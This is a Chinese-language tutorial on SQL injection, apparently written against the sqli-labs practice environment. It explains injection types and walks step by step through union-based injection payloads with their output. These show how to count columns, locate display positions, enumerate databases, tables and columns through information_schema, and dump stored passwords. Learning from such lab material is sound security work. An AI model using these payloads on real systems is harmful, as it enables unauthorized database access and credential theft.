SQL 注入概述
从客观角度来看,SQL 注入是因为前端输入控制不严格造成的漏洞,使得攻击者可以输入对后端数据库有危害的字符串或符号,使得后端数据库产生回显或执行命令,从而实现对于数据库或系统的入侵。
从攻击者角度来看,需要拼接出可以使后端识别并响应的 SQL 命令,从而实现攻击。
注入点可以在任何用户可控的参数上,例如:URL路径、GET/POST请求参数、HTTP请求头等。
注入类型
根据注入参数类型分类
- 数字型注入
- 字符型注入
根据注入效果分类
- 联合注入
- 报错注入
- 无显盲注(布尔盲注、时间盲注)
- 堆叠注入
- 宽字节注入
- 二次注入
根据提交方式分类
- GET注入
- POST注入
- HTTP头注入(UA注入、XFF注入)
- COOKIE注入
注入流程
- 注入类型判断
- 查询字段个数
- 查询回显位置
- 查询当前库名
- 查询所有表名
- 查询所有列名
- 查询字段信息
注入类型判断
首先我们要判断是否存在注入,若存在,则判断是字符型还是数字型。简单来说就是数字型不需要符号包裹,而字符型需要符号包裹。
数字型
select * from table where id=$id字符型
select * from table where id='$id'判断类型的方法
使用 and 型结合永真式和永假式。
数字型
# 永真式
select * from table where id=1 and 1=1
# 永假式
select * from table where id=1 and 1=2若永假式运行错误,则说明此SQL注入为数字型注入。
字符型
# 永真式
select * from table where id='1' and '1'='1'
# 永假式
select * from table where id='1' and '1'='2'若永假式运行错误,则说明此SQL注入为字符型注入。
示例:
http://xxx/Less-1/?id=1'回显:
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1SQL 注入中注释的使用非常重要。在 MySQL 中提供了三种注释方法:
#不建议直接使用,会被浏览器当做锚点,建议使用其 URL 编码形式%23--+本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式%20/**/多行注释,常被用作空格
示例:
http://xxx/Less-1/?id=1' --+回显:
Welcome Dhakkan
Your Login name: Dumb
Your Password: Dumb查询字段个数
order by 是 MySQL 中对查询数据进行排序的方法:
select * from 表名 order by 列名(或者数字) asc; -- 升序(默认升序)
select * from 表名 order by 列名(或者数字) desc; -- 降序示例:
http://xxx/Less-1/?id=1' order by 4 --+回显:
Welcome Dhakkan
Unknown column '4' in 'order clause'除了 order by 以外,与之相同的还有 group by (数据分组)。
联合查询注入
联合注入即 union 注入,其作用是在原来查询条件的基础上,通过系统关键字 union 拼接上我们自己的 select 语句,然后把后面 select 得到的结果将拼接到前面 select 的结果后边。
示例:
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;联合注入有它的利用条件,union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 select 语句中的列的顺序必须相同。
查询回显位置
我们使用 union select 1,2,3... 来对位置的顺序进行判断(其中数字代表是几号显示位)。
同时我们需要让默认的查询为空,也就是将 1 改为 -1,这样查询一个不存在的 id,使得第一句为空,只显示第二句的结果。
示例:
http://xxx/Less-1/?id=-1' union select 1,2,3 --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: 3查询当前库名
database() 函数主要是返回当前(默认)数据库的名称。
示例:
http://xxx/Less-1/?id=-1' union select 1,2,database() --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: security查询所有库名
查询所有数据库的名称可以利用 information_schema。
在 MySQL 版本大于 5.0 时内置,保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。你可以认为是 MySQL 的百科全书。其中的 .tables 和 .columns 经常用到,而 MySQL 版本小于 5.0 时,则没有此表,你想获取所有库/表/字段名只能通过爆破或猜解。
group_concat() 的作用是把回显放到一行里,便于观察。
示例:
http://xxx/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: information_schema,challenges,mysql,performance_schema,security查询所有表名
示例:
http://xxx/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: emails,referers,uagents,users查询所有列名
示例:
http://xxx/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: id,username,password查询字段信息
示例:
http://xxx/Less-1/?id=-1' union select 1,2,group_concat(password) from users --+回显:
Welcome Dhakkan
Your Login name: 2
Your Password: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4